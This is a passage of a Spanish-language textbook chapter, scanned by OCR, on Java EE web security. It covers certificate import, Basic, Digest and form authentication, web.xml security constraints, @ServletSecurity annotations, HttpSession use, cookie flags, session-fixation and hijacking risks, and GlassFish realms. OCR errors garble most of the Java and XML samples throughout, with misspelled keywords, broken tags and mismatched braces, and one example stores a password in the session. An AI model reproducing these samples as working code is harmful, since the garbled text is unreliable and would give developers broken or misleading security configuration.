AAC Camerfimna S5A OIF AB2 743287
Chambers of Commarce Root Buitn Cixect Token
Glohal Chambersign Root Buitin Clject Token
afCoV
AOCWRAIZL Bultn Chject Token
ApCials 5.8 3358520967
Atz Authentication Root O8 Bultin Object Token
apddTnest AG
#cddTrust External CA Root Buitin Object Token ;I
Mer.. Ediar cxstanz.. Importar... Exporiar Elmmiar o degar de confat., I

Figura 4.8. Administrador de certificados

Desde la opeidn de importar seleccionaremos el archivo selfeert.pem

Se nos pedird definir para que se utilizara el certificado. Marcamos todas
las opeiones y aceptamos:
Descargando certificado
Se ke ha pedido que confie en una nueva Autoodad Certficadora [CA).
d0uiene confiar en “demo” para los siguientes propasitos?
[* Confiar en esta CA para dentficar stios web.

[¥ Confiar en esta CA para dentiicar usuaros de corren.
[¥ Confiar 2n esta CA para dentficar desamoiacores de software,

Antes de confiar en esta CA para cuakquier propdsto, debe examnar el certficado, poftca y
procedimientos de k€A [si estan deponibies).

Examinar certficado de CA

Aceptar | Cancelar

Figura 4.9. Administrador de certificados
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Con esto va tenemos importada nuestra CA en el navegador y podriamos
acceder al dominio configurado de forma segura.

Administrador de certificad os

Sm-wu't:adﬂs| PErsonas | Servidores  AUTDrdades I olrml

Tiene cerificados en archivo que dentiican estas autoridades certificadoras:

Nombee del certficado | Disposkivo de seguridad |m

aD-Trust GmbH =
D-TRUST Root Class 3 CA 2 BV 2009 Buitn Object Token
D-TRUST Root Class 3 CA 2 2009 Bultn Clyject Token
dema DiEp. software de sequndad

aDeutsche Telekom AG
Deutsche Telekom Root C4 2 Bultn Object Token

aDeutscher Sparkassen Verlag GmbH
S-TRUST Authentication and Encrypdion Root .., Buitin Object Token
S-TRUST Universal Roat Ca Bulitin Gbject Token

ADhimyots
Certigna Builtin Ohject Token [
Ver;, Edifar confiznma,.. I Importar... I Exportar., I Ehminar o-dejar e cofar I

Figura 4.10. Administrador de certificados

44 SEGURIDAD EN APLICACIONES WEB

44.1 Arquitecturas de seguridad en entornos web

A grandes rasgos, existen 4 mecanismos para implementar seguridad en
aplicaciones weh:

¥ HTTP Basic: Es simple v es el mas usado para proteger los recursos.
Consta de una ventana pop up que pide el usvario v contrasefa. El
problema es que no encripta los datos ¥ no se puede personalizar la
ventana pop up.

¥ HTTP Digest: Es muy parecido al HTTP Basic, solo gque este mecanismo
si es encriptado mediante MDS5,
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¥ HTTPS Client: Se trata del HTTP sobre S5L (Secure Socket Layer). Los
datos que viajan entre el servidor y el cliente son encriptados usando la
criptografia de llave pablica. Es en definitiva el mds seguro v es soportado
por la mayoria de los navegadores. Las desventajas son que requiere un
certificado de una autoridad certificadora como Verisign, ademads, es muy
costoso su implementacion y mantenimiento.

F HTTP basada en formularios: Es un similar a HTTP Basic pero utiliza
un formulario en HTML para ingresar el usuario y contrasenia. Es facil
de implementar v todos los navegadores lo soportan. Lo malo es que no
es seguro (los datos no viajan encriptados), y ademais se requiere que los
clientes soporten cookies.

4.4.2 Tipologias de seguridad y autenticacion

Desde el punto de vista de gquién controla la seguridad en una aplicacion
web, existen dos formas de implantacion:

F Seguridad declarativa: Aguella estructura de seguridad sobre una
aplicaciom que es externa a dicha aplicacion. Con ella, no tendremos que
preocuparnos de gestionar la seguridad en ningidn servlet, pigina ISP,
ete, de nuestra aplicacion, sino que el propio servidor Web se encarga de
todo. Asi, ante cada peticion, comprueba si el usuario se ha autenticado
va, ¥ 51 no le pide login v password para ver si puede acceder al recurso
solicitado. Todo esto se realiza de forma transparente al usuario.
Mediante el descriptor de la aplicacion principalmente (fichero web.xml
en Tomeat), comprueba la configuracidn de seguridad que gueremos dar.

F Seguridad programada: Mediante la seguridad programada, son los
servlets v paginas JSP quienes, al menos parcialmente, controlan la
seguridad de la aplicacion.

En las aplicaciones web Java EE tenemos distintos tipos de autenticacion
que podemos emplear:

¥ Autenticacidn basic: Con HTTP se proporciona un mecanismo de
autenticaciom basico, basado en cabeceras de autenticacion para solicitar
datos del usuario (el servidor) v para enviar los datos del usuario (el
cliente). Esta autenticacion no proporciona confidencialidad ni integridad,
solo se emplea una codificacion Base6d,
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Utilizaremos la autenticacion HTTP BASIC en cada peticion, enviando
una cabecera Authorization con la cadena usuario:contrasenia codificada
en basetd. Ejemplo: Authorization: Basic bGYnaW46cGFzeddvem()=,

¥ Autenticacion digest: En lugar de transmitir el password por la red, se
emplea un passweord codificado uwtilizando el método de encriptado MD5.
Sin embargo, algunos servidores no soportan este tpo de autenticacion,

F Autenticacion basada en formularios: Con este tipo de autenticacidn,
el usuario introduce su login v password mediante un formulario HTML
(v no con un cuadro de didlogo, como las anteriores). El fichero descriptor
contiene para ello entradas que indican la pagina con ¢l formulario de
autenticaciom ¥ una pagina de error. Tiene el mismo inconveniente gue
la autenticacion basic: el password se codifica con un mecanismo muy
pobre.

F Certificados digitales v S5L: Con HTTP también se permite el
uso de S5L y los certificados digitales, apoyados en los sistemas de
criptografia de clave pablica. Asi, la capa SSL, trabajando entre TCP/IP
y HTTP, asegura, mediante criptografia de clave publica, la integridad,
confidencialidad y autenticacion.

44.3 Autenticacion basada en formularios

Esta es la forma mdas comunmente usada para imponer seguridad en una
aplicacion, puesto gue se emplean formularios HTML.

El programador emplea el descriptor de despliegue para identificar los
recursos a proteger, ¢ indicar la pagina con el formulario a mostrar, ¥ la pagina
con ¢l error a mostrar en caso de autenticacidn incorrecta. Asi, un usuario que
intente acceder a la parte restringida es redirigido automdticamente a la pdgina del
formulario, si no ha sido autenticado previamente. 5i se aulentica correctamente
accede al recurso, ¥ si no se le muesira la pagina de error. Todo este proceso lo
controla el servidor automaticamenie.

Este tipo de aulenticacion no se garantiza que funcione cuando se emplea
recscritura de URL en el seguimiento de sesiones. También podemos incorporar S5L
a este proceso, de forma que no se vea modificado el funcionamiento aparente del
mismo.

Para utilizar la autenticaciom basada en formularios, se siguen los pasos que
veremos a continuaciom. Solo el primero es dependiente del servidor que se utilice.
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Establecer los logins, passwords v roles

En este paso definiriamos un realm o base de datos de usuarios. Esie
paso dependerd del servidor de aplicaciones empleado (tomeat, jboss o
olassfish).

. Indicar al servlet que se empleard autenticacion basada en

formularios, e indicar las piginas de formulario v error.

Se coloca para ello una etiqueta <login-config= en ¢l descriptor de
despliegue. El elemento <login-config> define cdmo queremos autenticar
nuestro despliegue. Dentro se emplean las subetiquetas:

o =auth-method> cuyos valores son:

— FORM: para autenticacion basada en formularios
— BASIC: para aulenticacién BASIC
— DIGEST: para autenticacion DIGEST
— CLIENT-CERT: para 85L
o <=form-login-config>= que indica las dos piginas HTML (la del
formulario y la de error) con las etiquetas:

— =form-login-page> (para la de autenticacion)
— =form-error-page> (para la pigina de error).

Por ejemplo, podemos tener las siguientes lineas en el descriptor de
desplicgue web.xml para autenticacion basada en formularios:

<web-app>»
<login-config»
<auth-method>FORM« fauth-method:
<form-login-configs
<form-login-page>»
flogin.jsp
</form-login-page>
<form-error-page»
ferror.html
«/form-error-page>
¢ /form-login-config>»
</login-config>

< /web-app»
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3. Crear la pigina de login

El formulario de esta pigina debe contener campos para introducir el
lagin v el password, que deben llamarse j_username y j_password.
La accion del formulario debe ser j_seeurity_check, y ¢l METHOD =
POST. Por ejemplo, podriamos tener la pdgina:

<form action="7_ security check" METHOD="POST">»
Login:<input type="text™ name="3j_username”/><br>
Password :<input type="text" name="j_password"/¥<br}>
input type="submit"™ value="Enviar®"/}»

</form>

Figura 4.11. Fagina de login mediante |_security_check
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4. Crear la pigina de error

L

a pagina puede tener el mensaje de error que se quiera. Ante fallos de

autenticacion, se redirigird a esta pdgina con un codigo 401, Un ¢jemplo
de pdgina seria:

<IDOCTYPE HTML PUBLIC
TofHICS/DTD HTML 4.8 Transitional//EN"»
<html>
<body>

<h1>ERROR AL AUTENTIFICAR USUARIO</hl:
< /body>
<fhiml>

5. Indicar gqué direcciones deben protegerse con autenticacion

Para ello utilizamos etiquetas <security-constraint> en el descriptor
de despliegue. Dichos elementos deben ir inmediatamente antes de la
etiqueta <login-config=>, y utilizan las subetiguetas:

<display-name> para dar un nombre identificativo a emplear
(opcional)

<web-resource-collection= para especificar los patrones de URL que
se protegen (requerido). Se permiten varias entradas de este tipo para
especificar recursos de varios lugares. Cada uno contiene:

— Una etigueta  <web-resource-name> que da un nombre
identificativo arbitrario al recurso o recursos

— Una etiqueta <uwrl-pattern> que indica las URL gue deben
protegerse

— Una etigueta <http-method> que indica el método o métodos
HTTP a los que se aplicard la restriceion (opeional)

— Una etiqueta <description= con documentacién sobre el conjunto
de recursos a proteger (opcional)

<auth-constraint> indica los roles de usuario que pueden acceder a
los recursos indicados. Contiene los siguientes elementos:

— Uno o varios sub-clementos <role-name> indicando cada rol que
tiene permiso de acceso. Si queremos dar permiso a todos los roles,
utilizamos una etiqueta <role-name=*</role-name=,

—  Una etigueta <description= indicando la descripeion de los mismaos.
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En teoria la etiqueta <auth-constraint> es opcional, pero si no la
ponenomos estamos indicando que ningin rol tiene permiso de acceso.
Afadimos alguna direccion protegida(/prueba/™) al fichero que vamos
construyendo:

Afadimos el bloque security-constraint en web.xml:

{security-constraint>
<web-resource-collection>
‘web-resource-name}

Prueha
/web-resource-name>
<url-pattern>

fprusba/*®
“furl-pattern>

¢/web-resource-collection>
<auth-constraint>
<rele-nameradmin</role-name>
crale-namersubadming /role-name >
< /auth-constraintr
</=ecurity-constraint>

Figura 4.12. Blogue security-constraint en weh.xml

En este caso protegemos todas las URL de la forma http:/‘host/ruta_
aplicacion/prueba/®, de forma que solo los usuarios que tengan roles de
admin o de subadmin podrin acceder a ellas.
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444 Autenticacion basic

Una alternativa es utilizar el modelo de autenticacion basic de HTTP, donde
se emplea un cuadro de didlogo para gque el usuario introduzca su login v password,
y s¢ emplea la cabecera Authorization de peticidon para recordar qué usuarios han
sido autorizados v cudles no. Una diferencia con respecto al método anterior es
que es dificil entrar como un usuario distinto una vez que hemos entrado como un
determinado usuario (habria que cerrar el navegador v volverlo a abrir). Al igual que
en el caso anterior, podemos utilizar S5L sin ver modificado el resto del esquema del
proceso. El método de autenticacion basic consta de los siguientes pasos:

1. Establecer los logins, passwords v roles

Este paso es exactamente igual que el visto para la autenticacion basada
en formularios.

2. Indicar al servlet que se empleard autenticacion BASIC, y designar
los dominios

Se utiliza la misma etiqueta <login-config> vista antes, pero ahora una
etiqueta <auth-method= con valor BASIC. Se¢ emplea una subetiqueta
<realm-name> para indicar qué dominio se empleard en la autorizacion,
Por ejemplo:

<web-app>
<login-config»
<auth-method>BASIC« fauth-method>
<realm-name>dominio</realm-name:
<flogin-config>
< /web-app>
3. Indicar qué direcciones deben protegerse con autenticacion

Este paso también es idéntico al visto en la autenticacion basada en
formularios.

44.5 Anotaciones relacionadas con la seguridad

Con la especificacion 3.0 de servlets se introduce la posibilidad de conligurar
los permisos de acceso mediante anotaciones en lugar de en el web.xml, lo que
hace la configuracion mds clara. La anolacion principal que utilizaremos es @
ServletSecurity, que toma dos pardmetros:
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value: Define la restriceion de seguridad, mediante una anotacion de tipo
it HitpConstraint.

httpMethodConsirainis: Permite definir una lista de restricciones sobre
los métodos HTTP que pueden acceder al servlet. Se definen mediante
una anotacion de tpo @HupMethodConstraint. De esta manera no
damos una restriccion general para todos los métodos, sino que podemos
personalizar las restriceiones que se aplicardn para cada uno de ellos.

La anotacion @ HttpConstraint acepta los siguientes pardmetros:

r

r

rolesAllowed: Nos permite definir la lista de roles que pueden acceder
al serviet.

transportGuarantee: Puede tomar los valores TransportGuarantee.
NONE o TransportGuarantee CONFIDENTIAL. Con ¢l segundo de ellos
solo estaremos permitiendo acceder al servlet si la conexidn se realiza
mediante 551,

value: Nos permite establecer la politica de acceso a llevar a cabo
independientemente del rol del usuario. Las opciones son admitir
todas las peticiones (EmptyRoleSemantic PERMIT) o denegarlas
(EmptyRoleSemantic. DENY). Definiremos estas politicas cuando no se
especifique una lista de roles.

Un caso comin es aguel en el gue queremos permitir acceso al servlet a unos
roles determinados:

iWebServliet(”/MiServlet”)
@servletSecurity{@Httplonstraint(rolesAllowed={"roll™,"rol2™}1)
public class MiSerwvlet extends HttpSerwlet { ... }

Si gueremos permitic el acceso a cualguier usuario (aungue no esté

autenticado), pero siempre mediante S5L, podemos indicarlo de la siguiente forma:

Webserviet(“/MiServlet™)
@servletSecurity{@HttpConstraint{value=EmptyRoleSemantic.PERMIT,

transportGuarantee=TransportGuarantee. CONFIDENTIAL)

public class MiSerwvlet extends HttpServlet { ... }

Como alternativa, podemos definir diferentes restricciones para cada método

HTTP. Para ello utilizaremos la anotacion (@ HttpMethodConstraint, que podra tomar
los siguientes pardmetros:
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¥ value: Indica el método para el que vamos a definir las restricciones de
acceso. Por ¢jemplo “GET™, “POST™, etc.

F rolesAllowed: Define la lista de roles que pueden acceder al servlet
mediante el método indicado.

FtransportGuarantee: Indica si solo se permite acceder al método indicado
mediante S5L. Se define de la misma forma que en el caso de @
HttpConstraint.

F cmptyRoleSemantic: Nos permite establecer la politica de acceso a llevar
a caboindependientemente del rol del usuario para el método especificado.
Se define de la misma forma que en el caso de @ HitpConstraint.

Sisolo se especifica ¢l método (sin afiadir més pardmetros), se considera que
siempre se permite el acceso mediante dicho método. Por ejemplo, podemos definir
politicas diferentes para los métodos GET, POST y PUT:

fiWebservliet (" /Miservlet™)
@ServletSecurity(httpMethodConstraints={
gHttpMethodConstraint(“GET"),
pHttpMethodConstraint{value="P0ST", rolesAllowed="admin"},
@HttpMethodConstraint{value="FUT",
emptyRoleSemantic=EmptyRoleSemantic .DENY)}]})
public class MiServlet extends HttpServlet { ... }

En este ejemplo, se permite acceder a todos los usuarios mediante GET,
pero con POST solo podrdn acceder los que tengan rol admin, ¥ con PUT no podra
acceder nadie (emptyRoleSemantic=EmptyRoleSemantic. DENY).

También podemos combinar una politica particular para una serie de
métodos, y una politica general para el resto:

@servlietSecurity(
value=@Httplonstraint{EmptyRoleSemantic. PERMIT}),
httpHethodConstraints={
@HttpMethodConstraint (value="POST",rolesAllowed="admin™)
@HttpMethodConstraint{value="PUT",
transportGuarantee=TransportGuarantee.CONFIDENTIAL)})
public class MiSerwvlet extends HttpSerwvlet { ... }

En este caso solo los usuarios con rol admin podrdn acceder mediante POST,
v solo se podran establecer conexiones PUT mediante S5L, pero para el resto de
métodos se permitivd acceder a cualquier usuario sin necesidad de utilizar SSL.
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44,6 Acceso ala informacion de seguridad

Es muy probable que necesitemos acceder desde el codigo de la aplicacion
a informacion del contexto de seguridad del servidor, como puede ser ¢l nombre del
usuario autentificado actualmente, o sus roles. Podemos acceder a esta informacion
a través del objeto HitpServietRequest.

En primer lugar, podemos obtener los datos del usuwario autentificado
actualmente con el método getllserPrincipal() de la peticion. Esto nos devolverd
un objeto de tipe Principal, del gque podremos sacar el nombre del usuario. De
forma alternativa, este nombre también se puede obtener mediante el método
getRemoteUser() del mismo objeto.

Principal p = request.getUserPrincipal{);
if{pl=null) {

cut.println{™El usuario autentificado es ™ + p.getMame()}];
1 else {

put.println{™No hay ningun usuwario autentificado™};

También puede interesarnos comprobar si el usuario actual pertenece a un
determinado rol, para asi saber si debemos darle permiso o no para realizar una
operaciom dada. Esto lo podemos realizar con el método isUserlnRole(rol) del objeto
reguest.

if{reguest.isUserInRole{™“admin™}) {
usuarioDac.altalsuario{usuario);
} else {

out.println{™solc los administradores pueden realizar altas");

Otros métodos que nos aportan informacion sobre el contexto de seguridad
son getAuthType(), que nos dice el tipo de autentificacion que estamos utilizando
(BASIC, DIGEST, FORM, CLIENT-CERT), y is5ecure() que nos indica si estamos
realizando una conexion segura (SSL) o no.

Seguimiento de sesiones

El seguimiento de sesiones es un mecanismo empleado por los servlets para
gestionar un estado sobre las peticiones realizadas desde un mismo cliente a lo largo
de un periodo de tiempo determinado. Las sesiones se comparten por los servlets a
los que accede un cliente.
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La sesion basicamente te permite almacenar informacion entre diferentes
peticiones HTTP. En la plataforma Java EE se usa de forma muy habitual la
clase HupSession que tiene una estructura de HashMap o Dicecionario y permile
almacenar cualquier tipo de objeto en ella de tal forma que pueda ser compartido por
las diferentes pdginas por las que usuatio navega por ejemplo cuando se registra en
un carrito de la compra.

Funcionamiento

Cada vez que un usuario crea una session accediendo a una pdgina, se crea
un objeto a nivel de Servidor con un HashMap vacio que nos permite almacenar la
informacion que necesitamos relativa a este usuario. Realizado este primer paso se
envia al navegador del usuario una cookie que sirve para identificarle v asociarle
el HashMap que se acaba de construir para que pueda almacenar informacibn en
¢l Este HashMap puede ser accedido desde cualguier otra pdgina permitiéndonos
compartir informacion.

Obtener una sesidon

El concepto de Session es individual de cada usuario que se conecla a nuestra
aplicacion v la informacion no es compartida entre ellos. Asi pués cada usuario
dispondra de su propio HashMap en donde almacenar la informacion que resulte atil
entre paginas.

El método getSession() del objeto HttpServietRequest obliene una sesion
de usuario.

public Httpiession getSession()
public Http%essiom getSession{boolean crear)

El primer método obtiene la sesion actual, o crea una si no exisie. Con el
segundo método podemos establecer, mediante el Aag booleano, si queremos crear
Una nueva s no existe (true) o no (false). Sila sesidn es nueva, el método isNew() del
HupSession devuelve true, v la sesion no tiene ningln dato asociado.

Para mantener la sesion de forma adecuada, debemos llamar a getSession()
antes de que se escriba nada en la respuesta HitpServietResponse (v si utilizamos
un Writer, debemos obtenerla antes de obtener el Writer, no antes de escribir datos).

Cuando llamamos al método con su argumento creale como true, la
implementacion creard una sesidn si es necesario. En este ejemplo recuperamos la
session del usuario en caso de que exista, y la crea en caso de que no lo esté creada
previamente:
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public class MiSerwvlet extends HttpServlet

{
public woid doGet (HttpServletReguest reguest HttpServletResponse response)

throws ServletException, IDException {

HttpSession sesiom = request.getSession{true};

PrintWriter out = response.getWriter();

Guardar y obtener datos de la sesidn

La interfaz HitpSession proporciona métodos que permiten almacenar y
obtener datos de la sesion. Los datos se almacenan y obtienen como pares nombre-
valor, donde el nombre es un String que identifica al dato, v el valor es un Object con
el valor asociado. Se tienen los siguientes métodos que permiten obtener, establecer
y eliminar valores de atributos:

public Object petAttribute(String nombre)
public woid setdttribute(String nombre, Object walor)
public woid removedttribute(5tring nombre)

En este ¢jemplo vemos como guardar un objeto en la sesion utilizando
el método setAttribute().Este método utiliza dos argumentos: El primero es el
nombre que identificard a esa variable.el segundo es el dato que se va a guardar.
Para poder recuperar datos de la sesidn se utiliza el método getAtiribute(),utilizando
como argumento ¢l nombre que identifica al objeto gue se quiere recuperar,
getAltribute(java.lang String nombre).

public class MiSerwvlet extends HttpServlet
{
public woid doGet (HttpServletReguest reguest,
HttpServletResponse response)
throws ServletException, I0Exception {
HttpSession sesiom = reguest.getSessiom{true);
S5tring nombrelsuario =
(String)(sesion.getAttribute( nombre”));
sesion.setAttribute(“password”, “secreto™);

El gjemplo lee el atributo “nombre™ de la sesidn, v establece el atribuio
“password™ al valor “secreto™.
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Invalidar la sesidn

Una sesidén de usuario puede invalidarse manualmente, o automaticamente
(dependiendo de dénde esté ejecutando el servlet). Invalidar una sesiom significa
eliminar el objeto HitpSession v todos sus valores del sistema. Se tienen los métodos
de HitpSession:

public int getMaxInactivelnterwal()
public woid setMaxInactiveInterwal(int imterwvalo)
public woid invalidate()

Parainvalidarla automdticamente, lasesién expira cuando transcurre el tiempo
indicado por el método getMaxInactivelnterval() entre dos accesos del cliente {(en
segundos). Se puede establecer dicho valor con setMaxInactivelnterval{...).

Para invalidar manualmente una sesion, se emplea el método invalidate() de
la misma. Esto puede ser interesante por ejemplo en comercio electrdnico: podemos
mantener una sesidn donde se vavan acumulando los productos gque un usuario quiera
comprar, ¢ invalidar la sesidn (borrarla) cuando el usuario compre los productos o
realice logout en la aplicacion.

public class MiServlet extends HttpSerwlet

{

public woid doGet (HttpSerwvletReguest reguest,
HttpServletResponse response)
throws ServletException, I0Exception {
HttpSession sesiom = reguest.getSession(true);

sesion.invalidate();
]

}

En este ejemplo tenemos una clase que representa un producto del tipico
carro de la compra. Vamos a ver un e¢jemplo utilizando dos Serviets bdsicos, en el
cual un servlet almacena datos de un objeto producto en la sesidm y otro servlet lee
los datos de la session v los muestra por pantalla.

Producto.java
package com.carrito;

public class Producto
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En esta clase definimos el servlet encargado de crear la sesion y de guardar
en la misma un objeto del tipo Producto.
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En este Servlet{VerSession) accedemos a los datos guardados en la sesion y
los mostramos por pantalla.
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private static final long serialVersionUID = 1L;

protected void doGet(HttpServletReguest request, HttpServletResponse response)
throws ServletException, IDException {

HttpSession misession= (HttpSession) request.getSession();

Producto miproducto= (Producto) misessiom.getAttribute({"producto™);

PrintWriter pw= response.getWriter(};

pw.println{“<html><body>"+ miproducto. getId()+ T
+miproducto.getConcepto] )+, "+ miproducto.getImporte());

pw.close(l;

1

1

Seguridad en cookies

Dado que las cookies HTTP son la principal forma en que la mayoria
de las aplicaciones web guardan y transportan el identificador de sesion entre el
navegador ¥ el servidor, es importante realizar una proteccidn extra en este aspecto,
Hay dos propiedades en la sesion del usuario relacionadas con las cookies que son
fundamentales para implementar una buena seguridad en las aplicaciones weh. Estas
propicdades son las de HitpOmnly v Secure.De esta forma las cookies solo se envian
si bo hacen de forma segura con HTTPS.

Afortunadamente, la mayoria de los contenedores de servlets Java v J2EE
establecen por defecto estos flags cuando es necesario enviar cookies de forma
segura en la sesion del usuario Siempre es una buena priclica asegurarse gue
esta configuracidn se estd aplicando en nuestro servidor de aplicaciones.Para ello
podemos usar una herramienta como Burp Suile para interceptar este tipo peticiones
y comprobar si se estdn aplicando los flags secure vy HT'TPOnly en las cabeceras de
respuesta Set-Cookie cuando la aplicacion establece una cookie.

HTTE/1.1 208 DK

Set-Cookie: JSESSIONID=9352CHBA4544EBCE9BCEI; Path=/;
Secure; HttpOnly

Content-Type: text/html

Vary: Accept-Encoding

Content-Length: 4734

Si el servidor de aplicaciones que estamos usando no estd fjando estos
valores por defecto, se pueden especificar en el deseriptor de despliegue web.xml
del proyecto:
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<session-config>

ccookie-config:
c<http-only>truec/http-only>
<securestrues/secures

< fcookie-config>

<fsession-config>

También se pueden establecer estos valores a nivel de cookie de forma
programadtica en la sesion del usuario.

Cookie cookie = new Cookie(COOKIE_MAME, cockievalue);
cookie.setSecure(true);
cookie.setHttpdOnly{true);

response.addCookief{cookie);

Vulnerabilidades tipicas en el manejo de sesiones

Los errores que s¢ pueden producir en una aplicacion cuando se realiza una
manipulacién de las cookies de sesion pueden ser muy variados, aungue los mds
habituales son los siguientes:

F Revelacidn de datos internos en la cookie: Como hemos comentado, el
identificador de sesién no debe contener datos internos de la aplicacion
o del usuario. 5i la cookie incluye informacidn no aleatoria, un atacante
pucde analizarla y sacar conclusiones sobre el estado interno de la
aplicacion. Todas las variables relacionadas con la sesion deben ser
almacenadas internamente para garantizar su secreto,

¥ ldentificador de sesién predecible: 5i el identificador de sesion gue
genera el servidor es predecible, cualquier usuario puede ser suplantado
{Session-hijacking) va que el valor que lo identifica frente a la aplicacidn
puede ser adivinado y utilizado por cualguier otro usuario. Si no se
reserva un tamano adecuado el atacante, mediante téenicas de fuerza
bruta atacante puede conocer el identificador de una sesidn autenticada y
por lo tanto hacerse con el control de la sesidn.

F Autenticacidon insuficiente: Se produce cuando la aplicacion no
comprueba correctamente el estado de la sesion del usuario. Es habitual
que algunas aplicaciones para dar acceso a secciones protegidas
simplemente comprueben gque el usuario cuenta con un identificador
de sesion, sin comprobar si se ha realizado correctamente el proceso de
autenticacion y sin comprobar que ¢l estado de la sesidn es correcto.
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F Reutilizacion de sesion: Esto se produce cuando la sesion no se ha borrado
correctamente cuando ¢l usuario termina su actividad. De esta forma el
usuario puede seguir utilizando la sesidn para volver a autenticarse o
acceder a otras aplicaciones que comparten el pool de sesiones.

F Fijacion de sesidon (Session-fixation): Técnica de ataque consistente en
obtener un identificador de sesidn valido v forzar a otro usuario para
que lo utilice y asi poder suplantarle una vez se encuentre dentro de la
aplicacion. Intenta explotar la vulnerabilidad de un sistema que permite a
una persona fjar el identificador de sesidn de otra persona. La mayoria de
ataques relacionados con la fijacidn del periodo de sesiones estan basados
en la web y la mayoria depende de los identificadores de sesidn que han
sido aceptados de URL o datos POST.

Entre las recomendaciones gue tenemos para mejorar la seguridad en la
sesion del usuario podemos afdir esta configuracion el fichero web.xml:

P Activar HupOnly flag
F Activar Secure Flag
F Establecer un fmeont a la sesidn

<sessiom-config»
<session-timeout>15«</session-timeouts>
<cookie-config»
thttp-only>true</http-only>
csecurextrue</secure:>
<fcookie-config>

< /session-config»

4.5 SEGURIDAD EN SERVIDORES DE APLICACIONES J2EE

45.1 Esquemas de autorizacion basados en roles

Cualquier aplicacién medianamente compleja tendrd que autenticar a los
usuarios que acceden a ella, y en funcidon de quiénes son, permitirles o no la ¢jecucion
de ciertas operaciones.

Los mecanismos de autenticaciéon en los servidores de aplicaciones en
JavaEE se basan en ¢l concepto de realm. Un realm es un conjunto de usuarios, cada
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uno con un login v password ¥ uno o mas roles. Los roles determinan gué permisos
tiene el usuario en una aplicacién web (esto es configurable en cada aplicacion a
través del fichero web.xml). El login v el password se utilizard para la autenticacion
de los usuarios, v los roles para su autorizacion y acceso a recursos.

Podemos encontrar distintos tipos de realms, que basicamente se diferencian
en donde estan almacenados los datos de logins, passwords y roles. Por defecto en el
servidor de aplicaciones JBOSS tenemos dos realms que almacenan estos datos en
ficheros de texto de tipo properties. Existen otros realms gue leer los datos de bases
de datos con JDBC, de un directorio LDAP o mediante JAAS, el APl estindar de
Java para autenticacion.

Supongamos que queremos controlar el acceso a unos recursos por parte de
un usuario. Es importante destacar 2 fases. Primero la fase de Autenticacidén, donde
el usuario envia al servidor su nombre y su password vy el servidor comprueba contra
algin tipo de repositorio si el usuario es vilido o no. Una vez gue el usuario ha sido
validado pasamos a la segunda fase de Autorizacion en la gue se comprueba que el
usuario liene permisos para acceder a eslos recursos.

En el standard de JAAS la fase de Autorizacion esta ligada a la gestion de
roles. Es decir, para que no tengamos que asignar permisos a los recursos para cada
usuario individualmente se realiza un mapeo entre usuarios y roles. De esta forma,
un mismo conjunto de usuarios comparten un mismo ROL,

Usuario] FrechE

.................. Acich

Usuariod

Figura 4.13. Asignacion Usuarios-roles

Una vez que tenemos claro el concepto de ROL, JAAS se encarga de definir
cudles son los recursos a los que cada usuario puede acceder.
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Figura 4.14. Asignacion Usuarios-rol-acceso a recursos

Para definir los recursos y roles necesarios hay que modificar el fichero
descriptor web.xml y afadirle las etiquetas de seguridad que hemos visto
anteriormente.
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thttp-method:POST</http-method>
< /web-resource-collections
cauth-constraint»
<role-name>ROLEB</role-names
«fauth-constraint>
<fsecurity-constraint:

< fwebapp>

En este ejemplo hemos definido dos restricciones de seguridad de acceso
a recursos, una denomina recursosRoleA v otra denominada recursosRoleB. La
eliqueta <url-pattern> define que recursos son protegidos vy la etigueta <role-
name> que roles tienen acceso a ellos,

Podriamos crear pequefia aplicacion con el servidor de aplicaciones Glassfish
Server y utilizando Netbeans en la cual en una aplicacion web tendremos cuatro
archivos jsp, uno de bienvenida a la aplicacion (index. jsp), uno de fogin (login.jsp)
que nos avudara a pedir las credenciales de los usuarios, una de error {(errorjsp) que se
mostrara cuando el usuario no de las eredenciales correctas y por ultimo tendremos una
pagina inicial (index jsp) puesta en una carpeta adicional (protegido) gue permatira dar
la bienvenida a los usuarios que fueron autenticados de manera correcta.

Empezamos creando una aplicacion web utilizando Java EE 7 Web.

Shops Sorver and Sattings
Chooen Proseet Add to Enterprize Application; | <Hons= E
Mams and Location I : 'J

Sarver and Settings

T Sarver; |GItlssFl5h Servar :I Add... I
Java EE Versian: |lava EE 7 Weh = I

Context Poth:  |"wWabapphication

BN

Figura 4.15. Creacion de un Projects web application con netheans
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Creamos una carpeta protected y dentro un fichero index_protected.jsp

Creamos en la carpeta de Web Pages el fichero login.jsp que nos permitird
hacer la autenticacion con el nombre del usuario y contrasefia. El cuadro de texto del
nombre debe llamarse |_username, el cuatro de texto debe de |lamarse j_password
por dltimo solo la accién del submit del formulario debe de llamar a j_security
check.

& &) webAgplictionL
=l Web Pages
= E WER-TNF
? +- [ glasshsh-web.xml

v [ weboml

= m

@ ermr.jip

~[# index.html

~@ login.jsp

[!-}E Source Packages

l[ﬁ Libraries

=3 Configuration Files
i-[8] MANIFEST.MF

| [& glassfish-webaanl

rh

Figura 4.16. Projecto web application con netheans

login.jsp
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Indicamos en el web.xml como se realizard la aulenticacion mediate
formulario:

W

i login configuracion
¢login-configs>
<tauth-method y FORM< auth-method>
<Iprm-login-coniig>
<form-login-page>/login. jsp</ form- login-page>
<form-errar-page>/ferrcaor. japs/ form-errar-page>
<fform-loglin-config>
</login-configr

Figura 4.17. Configuracion de login en web.xml

Posteriormente damos las restricciones a la carpeta que se utiliza como
protegida en el web.xml.

el Szcurity constraint >

{aecurity-conatraintl
zdisplay-name>Secured context<d/display-names:
<web-resource—collection>
LWeD-resourcs -nans >afmins /wekb- e S0urce—name
<url-pattern>/protecoedS/*</url-patternr
ZfWeb-reagurce-callection®

Tanth-comatralints
<role-name>admine/ role—name >

<fanth-conatraint»
</szecuricy-conscraincs>

Figura 4.18. Configuracion de seguridad en web xml

Y por Gllimo damos de alta los roles que son necesarios:

<aecurity-rolel
<role-nameradmin</ role-name>
<fapourity-rale>

Figura 4.19. Configuracion de roles en web.xml
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Por ultimo, queda configurar el usuario, para esto ponemos en nuestro
navegador la direccion donde se gjecutando el servidor para acceder a la consola de
administracién de glassfish.

v-E Databases
-89 web Services
=B servers
i @ apache Tomcat or TomEE
¢ = Applicatians
@ sec{GassFsh Server 4.1.1 on htip://locahost: 10941
. i@ wwebApplicanonl
=0 Resources
. -8 JoeC
Bl-fa Connecors
=3 JavaMail Secsions

Figura 4.20. Arrancar servidor GlassFish con netbeans

Esto abrird el panel de configuracion de Glassfish, para eso nos vamos a ir
a la opeidn de Configurations — Server-config — Security — Realms — file, es
la autenticacion que tiene por default el servidor por lo que agregaremos un usuario.

